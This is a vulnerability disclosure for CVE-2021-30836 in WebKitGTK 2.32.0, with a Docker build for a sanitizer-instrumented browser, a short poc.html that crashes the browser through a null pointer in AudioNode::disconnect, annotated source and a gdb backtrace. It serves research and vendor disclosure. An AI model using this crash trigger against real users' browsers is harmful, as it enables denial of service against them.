CVE: CVE-2021-30836
Tested Versions:
- webkitGTK2.32.0
Product URL(s):
Description of the vulnerability
In order to show how we can reproduce it, let’s open poc.html in webkitgtk version 2.32.0 within Ubuntu.
Alternatively, you may want to use my docker script to build.
Source code of build.sh
docker build . -t webkit_asan
docker run -it --name=webkit2.32.0 webkit_asan /bin/bash
Source code of Dockerfile
FROM ubuntu:18.04
MAINTAINER mipu94
RUN echo ${WEBKIT_VERSION}
ARG DEBIAN_FRONTEND=noninteractive
RUN apt-get -y update && \
apt-get install -y wget \
cmake \
bison \
git \
unzip \
xz-utils \
apache2 \
llvm-7 \
clang-7 \
libclang-7-dev \
tzdata \
sed \
ruby
WORKDIR /root/
# install ninja
RUN wget https://github.com/ninja-build/ninja/releases/download/v1.10.0/ninja-linux.zip \
&& unzip ninja-linux.zip \
&& mv ninja /usr/local/bin/ \
&& rm ninja-linux.zip
# install clang
RUN wget https://prereleases.llvm.org/10.0.0/rc3/clang+llvm-10.0.0-rc3-x86_64-linux-gnu-ubuntu-18.04.tar.xz \
&& tar xvf clang+llvm-10.0.0-rc3-x86_64-linux-gnu-ubuntu-18.04.tar.xz \
&& mv clang+llvm-10.0.0-rc3-x86_64-linux-gnu-ubuntu-18.04 clang
ENV WEBKIT_VERSION="2.32.0" \
FUZZ_TYPE="address"
RUN apt-get update --fix-missing
# download webkit
RUN wget https://webkitgtk.org/releases/webkitgtk-${WEBKIT_VERSION}.tar.xz && \
tar xvf webkitgtk-${WEBKIT_VERSION}.tar.xz && \
cd webkitgtk-${WEBKIT_VERSION} && \
printf 'y\n' | ./Tools/gtk/install-dependencies
WORKDIR /root/webkitgtk-${WEBKIT_VERSION}
# patch asan build
#address, memory
ENV ASAN_TYPE=address
RUN sed -i 's~COMMAND CC=${CMAKE_C_COMPILER} CFLAGS=-Wno-deprecated-declarations LDFLAGS=~COMMAND CC=${CMAKE_C_COMPILER} CFLAGS=\\\"-Wno-deprecated-declarations -fsanitize=address\\\" LDFLAGS=\\\"-fsanitize=address\\\"~g' Source/WebKit/PlatformGTK.cmake
RUN sed -i 's~COMMAND CC=${CMAKE_C_COMPILER} CFLAGS=-Wno-deprecated-declarations~COMMAND CC=${CMAKE_C_COMPILER} CFLAGS=\\\"-Wno-deprecated-declarations -fsanitize=address\\\"~g' Source/WebKit/PlatformGTK.cmake
RUN sed -i 's~LDFLAGS="${INTROSPECTION_ADDITIONAL_LDFLAGS}"~LDFLAGS=\\\"${INTROSPECTION_ADDITIONAL_LDFLAGS} -fsanitize=address\\\"~g' Source/WebKit/PlatformGTK.cmake
ENV CC="$BUILD_PATH/clang/bin/clang" \
CXX="$BUILD_PATH/clang/bin/clang++" \
CFLAGS="-fsanitize=$ASAN_TYPE" \
CXXFLAGS="-fsanitize=$ASAN_TYPE" \
LDFLAGS="-fsanitize=$ASAN_TYPE" \
ASAN_OPTIONS="detect_leaks=0"
RUN mkdir mybuild && cd mybuild && cmake \
-DCMAKE_BUILD_TYPE=Release \
-DCMAKE_INSTALL_PREFIX=/usr \
-DCMAKE_SKIP_RPATH=ON \
-DPORT=GTK \
-DLIB_INSTALL_DIR=/usr/lib \
-DUSE_LIBHYPHEN=OFF \
-DENABLE_MINIBROWSER=ON \
-DENABLE_GAMEPAD=OFF \
-DUSE_WOFF2=OFF \
-DUSE_WPE_RENDERER=OFF \
-DENABLE_BUBBLEWRAP_SANDBOX=OFF \
-Wno-dev -G Ninja -DCMAKE_C_COMPILER="/root/clang/bin/clang" -DCMAKE_CXX_COMPILER="/root/clang/bin/clang++" .. && ninja && ninja install
RUN cp -rf mybuild /root/webkitASAN
CMD ["/bin/bash"]
# ./build.sh
# export DISPLAY=:1000
# Xvfb :1000 -screen 0 1920x1080x24 &
# DISPLAY=:1000 LD_LIBRARY_PATH=/root/webkitASAN/lib /root/webkitASAN/bin/MiniBrowser ~/poc.html
In order to understand the root cause of this, let’s take a deeper look at the poc.html
Source code of poc.html
<script>
cdmwZ22 = new GainNode(new AudioContext(), {});
uGexE85 = cdmwZ22.connect(cdmwZ22, 0, 0);
uGexE85.disconnect(uGexE85, 0, 1);
</script>
Source Code:
webkitgtk-2.30.3\Source\WebCore\animation\KeyframeEffect.cpp:1102
// Source/WebCore/Modules/webaudio/AudioNode.cpp:160
AudioNodeInput* AudioNode::input(unsigned i)
{
if (i < m_inputs.size())
return m_inputs[i].get();
return nullptr; // if i >= size return null
}
// Source/WebCore/Modules/webaudio/AudioNode.cpp:307
ExceptionOr<void> AudioNode::disconnect(AudioNode& destinationNode, unsigned outputIndex, unsigned inputIndex)
{
ASSERT(isMainThread());
BaseAudioContext::AutoLocker locker(context());
if (outputIndex >= numberOfOutputs())
return Exception { IndexSizeError, "output index is out of bounds"_s };
if (outputIndex >= destinationNode.numberOfInputs())
return Exception { IndexSizeError, "input index is out of bounds"_s };
auto* output = this->output(outputIndex);
auto* input = destinationNode.input(inputIndex); // (1) call to AudioNode::input -> return null
if (!output->isConnectedTo(*input))
return Exception { InvalidAccessError, "The given destination is not connected"_s };
input->disconnect(output);
updatePullStatus();
return { };
}
The crash happend because |destinationNode.input|(1)
returned a null pointer, but there is no nullpointer check on this |input|
before it calls into disconnect.
Backtrace
gdb-peda$ backtrace
#0 0x00007f144a52c974 in WebCore::AudioNodeInput::disconnect(WebCore::AudioNodeOutput*) (this=this@entry=0x0, output=output@entry=0x7f1433e55870) at ../Source/WebCore/Modules/webaudio/AudioNodeInput.cpp:71
#1 0x00007f144a52d0c9 in WebCore::AudioNode::disconnect(WebCore::AudioNode&, unsigned int, unsigned int) (this=this@entry=0x7f144c6fa750, destinationNode=..., outputIndex=outputIndex@entry=0x0, inputIndex=0x1)
at ../Source/WebCore/Modules/webaudio/AudioNode.cpp:323
#2 0x00007f144b6a4a52 in WebCore::jsAudioNodePrototypeFunction_disconnect5Body (castedThis=<optimized out>, callFrame=<optimized out>, lexicalGlobalObject=0x7f1433e3a068) at DerivedSources/WebCore/JSAudioNode.cpp:489
#3 0x00007f144b6a4a52 in WebCore::jsAudioNodePrototypeFunction_disconnectOverloadDispatcher (castedThis=<optimized out>, callFrame=<optimized out>, lexicalGlobalObject=0x7f1433e3a068)
at DerivedSources/WebCore/JSAudioNode.cpp:554
#4 0x00007f144b6a4a52 in WebCore::IDLOperation<WebCore::JSAudioNode>::call<WebCore::jsAudioNodePrototypeFunction_disconnectOverloadDispatcher> (operationName=0x7f144b8ea010 "disconnect", callFrame=..., lexicalGlobalObject=...)
at ../Source/WebCore/bindings/js/JSDOMOperation.h:53
#5 0x00007f144b6a4a52 in WebCore::jsAudioNodePrototypeFunction_disconnect(JSC::JSGlobalObject*, JSC::CallFrame*) (lexicalGlobalObject=0x7f1433e3a068, callFrame=<optimized out>) at DerivedSources/WebCore/JSAudioNode.cpp:561
#6 0x00007effbffff1d8 in ()
#7 0x00007fff002e6cc0 in ()
#8 0x00007f144668ddb8 in llint_op_call () at /home/test/webkitgtk-2.32.0/Source/JavaScriptCore/llint/LowLevelInterpreter.asm:1093
#9 0x0000000000000000 in ()
Timeline
- 2021-06-09 Reported to Vendor
- 2021-12-14 Vendor fixed and assign CVE